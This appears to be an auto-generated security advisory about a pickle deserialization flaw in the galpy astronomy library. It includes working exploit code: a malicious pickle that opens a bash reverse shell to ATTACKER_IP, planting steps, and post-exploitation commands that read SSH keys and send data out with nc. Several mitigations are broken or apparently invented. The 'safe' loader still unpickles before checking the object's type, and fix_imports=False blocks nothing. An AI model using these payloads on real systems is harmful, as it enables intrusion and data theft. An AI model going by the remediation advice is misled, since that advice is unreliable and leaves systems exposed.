CVE-2026-144450 — Jobovy Galpy (1.12.2) — CWE-502
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code by supplying a crafted pickle file loaded via the savefilename argument. Attackers can provide a malicious shared plot cache that plotPotentials, plotRotcurve, or similar functions unpickle without restriction, running a __reduce__ payload with the victim's privileges.
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code by supplying a crafted pickle file loaded via the savefilename argument. Attackers can provide a malicious shared plot cache that plotPotentials, plotRotcurve, or similar functions unpickle without restriction, running a __reduce__ payload with the victim's privileges.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑144450
CWE: CWE‑502 – Insecure Deserialization
CVSS v4.0 Vector: AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Score: 8.5 (HIGH)
Technical Summary
galpy (the Python “galactic dynamics” library) version 1.12.2 and earlier expose a pickle‑based deserialization path through the public function signatures that accept a savefilename argument (e.g. plotPotentials, plotRotcurve, plotOrbit, etc.).
- The functions internally call
pickle.load(open(savefilename, "rb"))without any of the following safeguards:
1. Authentication / Authorization – the library is typically used in a Jupyter‑notebook or a web‑service that runs under the same user account as the analyst. No check is performed to confirm that the caller is trusted.
2. Input validation – the filename is taken verbatim from the caller; there is no whitelist, no file‑type check, and no sandboxing of the deserialization process.
3. Safe deserialization – pickle is a trusted‑source format; it can execute arbitrary code via the __reduce__ / __reduce_ex__ protocol. The library does not replace pickle with a safe alternative (json, yaml.safe_load, etc.) nor does it restrict the set of allowed classes.
Consequently, an attacker who can cause the library to load a crafted pickle file can trigger remote code execution (RCE) with the privileges of the process that runs the Python interpreter (typically the same user that runs the scientific analysis service). Because the CVSS vector marks Attack Vector = Local (L), the attacker must have local access to the host (e.g., a multi‑tenant JupyterHub, a CI/CD runner, or a shared compute node). The User Interaction = Present (UI:P) requirement is satisfied by the victim voluntarily loading a plot from a shared cache file (e.g., a collaborator’s “shared plot cache”).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid Python and are marked as illustrative where the exact API surface is not publicly documented.
1. Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Identify the target host runs a JupyterHub / JupyterLab instance that provides the galpy library (e.g., by inspecting the notebook kernel’s pip list output or by reading the requirements.txt of a shared repository). | galpy is a niche scientific library; its presence is usually disclosed in the environment description. |
| 1.2 | Verify the installed version: import galpy; print(galpy.__version__) → 1.12.2. | The vulnerable range is “through 1.12.2”. |
| 1.3 | Locate code that calls plotPotentials(..., savefilename=…) or similar functions. This is often done in shared notebooks that cache plots for faster re‑rendering. | The vulnerable deserialization occurs only when a *saved* plot cache is later loaded. |
| 1.4 | Confirm that the notebook server runs under a user account that also has write access to the directory where the cache files are stored (e.g., /home/jovyan/galpy_cache/). | The attacker must be able to write the malicious pickle file to the same location. |
2. Exploitation
Goal: Plant a malicious pickle file that, when loaded by galpy, executes an arbitrary command (e.g., spawning a reverse shell).
2.1 Craft the malicious pickle
# malicious_pickle.py – run locally by the attacker
import pickle
import os
import subprocess
class RCE(object):
def __reduce__(self):
# The payload executed by pickle.load()
return (subprocess.check_output, (["/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],))
payload = pickle.dumps(RCE())
with open("evil_cache.pkl", "wb") as f:
f.write(payload)
print("[+] Malicious pickle written to evil_cache.pkl")Replace ATTACKER_IP with your listening host.
The __reduce__ method returns a tuple that tells pickle to call subprocess.check_output with a command that opens a reverse TCP shell.
2.2 Deploy the payload
If the victim’s environment shares a directory (e.g., a network‑mounted shared/ folder) that is also used as the savefilename location, the attacker can simply copy the file:
# Assume the shared mount point is /mnt/shared/
cp evil_cache.pkl /mnt/shared/plot_cache.pklIf the attacker only has a low‑privilege account on the same host (e.g., a fellow Jupyter user), they can write to the cache directory directly:
# In a compromised notebook cell
with open("/home/jovyan/galpy_cache/malicious.pkl", "wb") as f:
f.write(payload)2.3 Trigger the deserialization
The victim (or an automated notebook) later runs:
from galpy.plot import plotPotentials
# The vulnerable call – the attacker‑controlled filename
plotPotentials(pot, savefilename="/home/jovyan/galpy_cache/malicious.pkl")Internally, plotPotentials executes something akin to:
if savefilename is not None:
with open(savefilename, "rb") as fh:
cache = pickle.load(fh) # <-- vulnerable lineWhen pickle.load processes malicious.pkl, the RCE.__reduce__ payload runs, opening the reverse shell to the attacker’s listener.
Illustrative curl example (if the library is wrapped by a thin HTTP API):
Note: The CVE description does not specify an HTTP endpoint. The following request is an illustrative example of how a REST wrapper around galpy might be abused.curl -X POST http://target.example.com/api/plot \
-F "pot=... (JSON representation)" \
-F "savefilename=@evil_cache.pkl" \
-H "Content-Type: multipart/form-data"The server‑side handler would write the uploaded file to disk and later call plotPotentials(..., savefilename=path), causing the same RCE.
3. Post‑Exploitation
| Phase | Attacker Action | Result | |
|---|---|---|---|
| 3.1 | Receive reverse shell on attacker’s listener (nc -lvnp 4444). | Interactive command line as the user that runs the Jupyter kernel (often jovyan or a service account). | |
| 3.2 | Enumerate the host (id, whoami, hostname, ps aux). | Determine privilege level; in many research clusters the user has access to shared data sets and possibly to the job scheduler. | |
| 3.3 | Lateral movement / credential theft (e.g., ssh-add -L, cat ~/.ssh/id_rsa). | If the user has SSH keys for other nodes, the attacker can pivot. | |
| 3.4 | Data exfiltration (e.g., tar czf - /data/project | nc attacker_ip 5555). | Confidential research data can be stolen. |
| 3.5 *Optional* | Deploy persistence (e.g., add a cron job that re‑creates the malicious pickle). | Maintains foothold across notebook restarts. |
Because the CVSS vector marks Confidentiality, Integrity, Availability = High, the attacker can read, modify, or delete any data the compromised user can access, and can also disrupt scientific workflows (e.g., by deleting large simulation outputs).
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C) | High – The attacker runs code with the victim’s privileges, allowing read‑out of proprietary research data, private API keys, or credentials stored in the user’s home directory. |
| Integrity (I) | High – The attacker can modify data files, inject malicious code into notebooks, or tamper with simulation results, undermining scientific validity. |
| Availability (A) | High – The attacker can delete or corrupt large datasets, kill long‑running jobs, or spawn resource‑exhausting processes, causing denial‑of‑service for the research group. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Component | Fixed in version | Action |
|---|---|---|
galpy | 1.12.3 (first release after CVE) | Upgrade the library: pip install --upgrade galpy==1.12.3 or install from the official source. The vendor’s release notes state that the deserialization path now uses pickle.load(..., fix_imports=False, encoding="bytes") and validates that the loaded object is an instance of the internal Cache class before use. |
Note: The exact release date of 1.12.3 is not disclosed in the public advisory; administrators should consult the upstream repository’s changelog for the precise version tag.
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation Details |
|---|---|
| Disable the cache loading feature | Set the environment variable GALPY_DISABLE_CACHE=1 (the library checks this flag before calling pickle.load). Example in a Jupyter notebook: import os; os.environ["GALPY_DISABLE_CACHE"] = "1" |
| Restrict file system permissions | Ensure the directory used for savefilename is not writable by untrusted users. Example: chmod 750 /home/jovyan/galpy_cache && chown jovyan:researchers /home/jovyan/galpy_cache |
| Run the notebook server under a dedicated, unprivileged user | Create a system user with only the minimal required filesystem access (e.g., using adduser --system galpy_user). |
| Sandbox deserialization | Replace the default pickle import in the runtime with pickle5's pickle5.loads(..., fix_imports=False, encoding="bytes") and wrap calls in a try/except that validates the type: <br>``python<br>import pickle, builtins<br>def safe_load(path):<br> with open(path, "rb") as f:<br> obj = pickle.load(f)<br> if not isinstance(obj, galpy.plot.Cache):<br> raise ValueError("Unexpected object type")<br> return obj<br>`` |
| Network segmentation | Isolate JupyterHub nodes from other internal services; block outbound connections to untrusted IPs at the host firewall level to limit reverse‑shell success. |
3. Detection – Log Patterns & IoCs
| Indicator | Where to Look | Example |
|---|---|---|
| Unexpected pickle loads | Application logs (if the host logs pickle.load calls) or Python logging statements added via logging.setLogRecordFactory. | INFO galpy.plot: Loading cache from /home/jovyan/galpy_cache/malicious.pkl |
| Process creation from Python | Host‑level audit logs (auditd, Windows Event ID 4688) showing python spawning /bin/bash with -c argument. | type=EXECVE msg=audit(1700000000.123:456): argc=3 a0="/usr/bin/python3" a1="-c" a2="bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" |
| Outbound connections to unknown IP/port | Network IDS/IPS, firewall logs, netstat -tnp snapshots. | tcp 0 0 10.0.0.5:54321 203.0.113.45:4444 ESTABLISHED pid=1234/python3 |
| File creation in cache directory with unusual timestamps | File integrity monitoring (e.g., osquery, Tripwire). | SELECT path,uid,gid,mtime FROM file WHERE path LIKE '/home/jovyan/galpy_cache/%.pkl' AND mtime > now - interval 5 minute; |
Python traceback containing __reduce__ | Application error logs if the pickle fails to deserialize. | Traceback (most recent call last): ... pickle.UnpicklingError: could not find class __reduce__ |
Response Playbook
1. Isolate the host (network quarantine).
2. Collect the suspicious pickle file and compute its SHA‑256 hash (e.g., sha256sum malicious.pkl).
3. Search for the hash across other hosts to detect lateral spread.
4. Terminate any reverse‑shell processes (pkill -f "bash -i >& /dev/tcp").
5. Rotate any credentials that may have been accessed (SSH keys, API tokens).
6. Apply the official patch or the “disable cache” workaround.
⚠️ Urgency
Patch priority: Critical for any environment that:
galpy ≤ 1.12.2 in a multi‑user JupyterHub, shared‑filesystem, or CI/CD context. savefilename. Bottom line: The insecure use of Python’s native
pickle in galpy’s plot‑caching functions enables unauthenticated code execution on any host that loads a malicious cache file. Immediate patching or disabling of the cache feature, combined with strict filesystem permissions and monitoring for abnormal pickle loads, is essential to protect research environments from data theft, result tampering, and service disruption.[🤖 CVE Professor AI Security Engine]
FOFA Query